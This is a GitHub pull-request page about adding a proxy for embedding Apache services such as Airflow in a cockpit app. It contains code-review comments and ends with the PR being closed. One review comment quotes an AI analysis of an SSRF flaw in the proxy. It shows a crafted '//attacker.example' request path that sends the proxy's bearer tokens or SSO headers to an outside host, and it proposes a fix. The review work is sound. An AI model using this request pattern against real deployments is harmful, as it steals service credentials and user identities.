Skip to content

Add Proxy and dex to embed Apache Services - #293

Closed
F3l1x1vo wants to merge 17 commits into
feat/app-bookmark-dialogfrom
feat/bookmark-sidebar-changed-headers-proxy
Closed

Add Proxy and dex to embed Apache Services#293
F3l1x1vo wants to merge 17 commits into
feat/app-bookmark-dialogfrom
feat/bookmark-sidebar-changed-headers-proxy

Conversation

@F3l1x1vo

Copy link
Copy Markdown
Collaborator

The full setup of Airflow can be found here: airflow-proxy.tar.gz (basically stock Airflow).

@F3l1x1vo
F3l1x1vo requested review from dklOrdix and sbernauer August 25, 2026 06:35
@F3l1x1vo F3l1x1vo self-assigned this Aug 25, 2026
@F3l1x1vo

Copy link
Copy Markdown
Collaborator Author

Nevermind the merge conflicts for now. The review of @sbernauer is concerning the choices made in this PR.

@F3l1x1vo F3l1x1vo mentioned this pull request Aug 31, 2026
14 tasks
Base automatically changed from feat/bookmark-sidebar to feat/app-bookmark-dialog September 2, 2026 06:14
@Bohreromir
Bohreromir self-requested a review September 9, 2026 09:39

@Bohreromir Bohreromir left a comment

Copy link
Copy Markdown

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Hi Felix, I am done reviewing your code.
Overall solid code, but left you with some comments. Feel free to push back ;)

Comment thread TECH_DEBT.md

Copy link
Copy Markdown

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

The TECH_DEBT.md file is retired in favor of using gh issues

Comment thread vite.config.ts

Copy link
Copy Markdown

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Should we switch the reminaing < img > in this project to < enhanced:img > too?

Comment thread e2e/bookmarks.spec.ts

// Bookmark section is visible
await expect(page.getByRole('heading', { name: 'Bookmarks' })).toBeVisible();
await expect(page.getByText('Dashboards')).toBeVisible();

Copy link
Copy Markdown

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

this failes for me. Might be because two texts with "Dashboards" exist. Same for the other .getByText('Dashboards') in this file

}

function stripServicePrefix(pathname: string, serviceId: string): string {
const prefix = `/api/services/${serviceId}`;

Copy link
Copy Markdown

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

I think actually using the [...path] param and passing it through to proxyEmbeddedService would be a better way and cleaner seperate things

Copy link
Copy Markdown

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Claude later flagged this too as it makes it possible to inject a wrong proxy path. If and what impact that has I'm not too sure, but that would be fixed by the change too.

Claudes reasoning here:

The proxy builds the upstream request URL in two steps:
function stripServicePrefix(pathname: string, serviceId: string): string {
const prefix = /api/services/${serviceId};
const path = pathname.slice(prefix.length); // just a substring, no validation
return path || '/';
}
const path = stripServicePrefix(event.url.pathname, serviceId);
const upstreamUrl = new URL(path, service.upstreamUrl); // line 322

stripServicePrefix does a raw string slice — it doesn't check that what remains looks like a normal path. The bug is in what new URL(path, base) does when path starts with //.

Per the WHATWG URL spec, a string starting with // is a network-path reference: when resolved against a base URL, it keeps the base's scheme but replaces the entire authority (host + port) with whatever follows the //. This is the same rule that makes //evil.com/x in an a protocol-relative link to evil.com rather than a path on the current site.

So: request GET /api/services/airflow//attacker.example/steal
→ browsers/HTTP keep // in the path literally (it's not collapsed like a filesystem path)
→ event.url.pathname = /api/services/airflow//attacker.example/steal
→ stripServicePrefix slices off /api/services/airflow, leaving //attacker.example/steal
→ new URL('//attacker.example/steal', 'http://airflow-internal.svc:8080/') resolves to http://attacker.example/steal — the configured upstream host is discarded entirely.

The request still goes through proxyRequestHeaders (line 211-266) first, which — depending on the service's authMode — attaches an Authorization: Bearer header (bearer/all-admins/simple-users modes) or x-forwarded-preferred-username/x-forwarded-email (sso mode). Those credentials/identity headers get sent server-side, from the cockpit backend, to whatever host the attacker put after //. That's the actual damage: it's not just "visit any URL," it's "make the cockpit server exfiltrate its configured service credentials (or a real user's SSO identity) to an attacker-controlled or otherwise-unreachable internal host," entirely from a request an already-authenticated cockpit user (or anything that can get them to click/load a URL) can trigger.

Fix direction: don't build the upstream URL from a raw path slice. Either reject any path that doesn't start with exactly one / (e.g. path.replace(/^/+/, '/') before constructing the URL, or check !path.startsWith('//')), or construct the target with new URL(service.upstreamUrl.origin + service.upstreamUrl.pathname.replace(//$/, '') + path) so the authority can never come from user input.

return path || '/';
}

function rewriteHtml(html: string, service: EmbeddedService, serviceId: string): string {

Copy link
Copy Markdown

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

this "small" function does a lot, can you add a short doc string for its purpose?

simpleUserTokens.clear();
}

const HOP_BY_HOP_HEADERS = new Set([

Copy link
Copy Markdown

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

you could move the hop_by_hop_headers and RESPONSE_HEADERS_TO_REMOVE closer to where they are actually used

<div class="border-base-300 bg-base-100 rounded-xl border p-6">
<h3 class="text-base-content text-base font-semibold">{m.bookmark_section_title()}</h3>

{#if pinnedBookmarks.length > 0}

Copy link
Copy Markdown

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

this and the {#if unpinnedBookmarks.length > 0} below share almost all code. Could you refactor that?

aria-label={bookmark.pinned ? m.bookmark_unpin_label() : m.bookmark_pin_label()}
onclick={() => togglePinBookmark(bookmark.id)}
>
{#if bookmark.pinned}

Copy link
Copy Markdown

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

will never be true as we are iterating over unpinned bookmarks

@@ -241,7 +192,40 @@
{/if}
<ul class="flex flex-col gap-1">
{#each pinnedBookmarks as bookmark (bookmark.id)}

Copy link
Copy Markdown

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

please deduplicate with the unpinnedBookmarks block below

for (const key of Object.keys(env)) {
const match = /^STACKABLE_COCKPIT_([A-Z0-9_]+)_URL$/.exec(key);
if (match) {
const serviceId = match[1].toLowerCase().replaceAll('_', '-');

Copy link
Copy Markdown

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

This matches both STACKABLE_COCKPIT_TRINO_URL & STACKABLE_COCKPIT_AIRFLOW_URL while the first is just standard trino and only the second an embedded service.
We should change the env var name to have its own namespace like STACKABLE_COCKPIT_EMBEDED_SERVICE_AIRFLOW_URL (getting a bit long now 😅)

@F3l1x1vo

Copy link
Copy Markdown
Collaborator Author

It has been decided by Stackable to not pursue embedded services as the upkeep and circumvention of security measures outweigh the gain of displaying services inside the Cockpit instead of outside.

@F3l1x1vo F3l1x1vo closed this Sep 10, 2026
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Labels

None yet

Projects

None yet

Development

Successfully merging this pull request may close these issues.

2 participants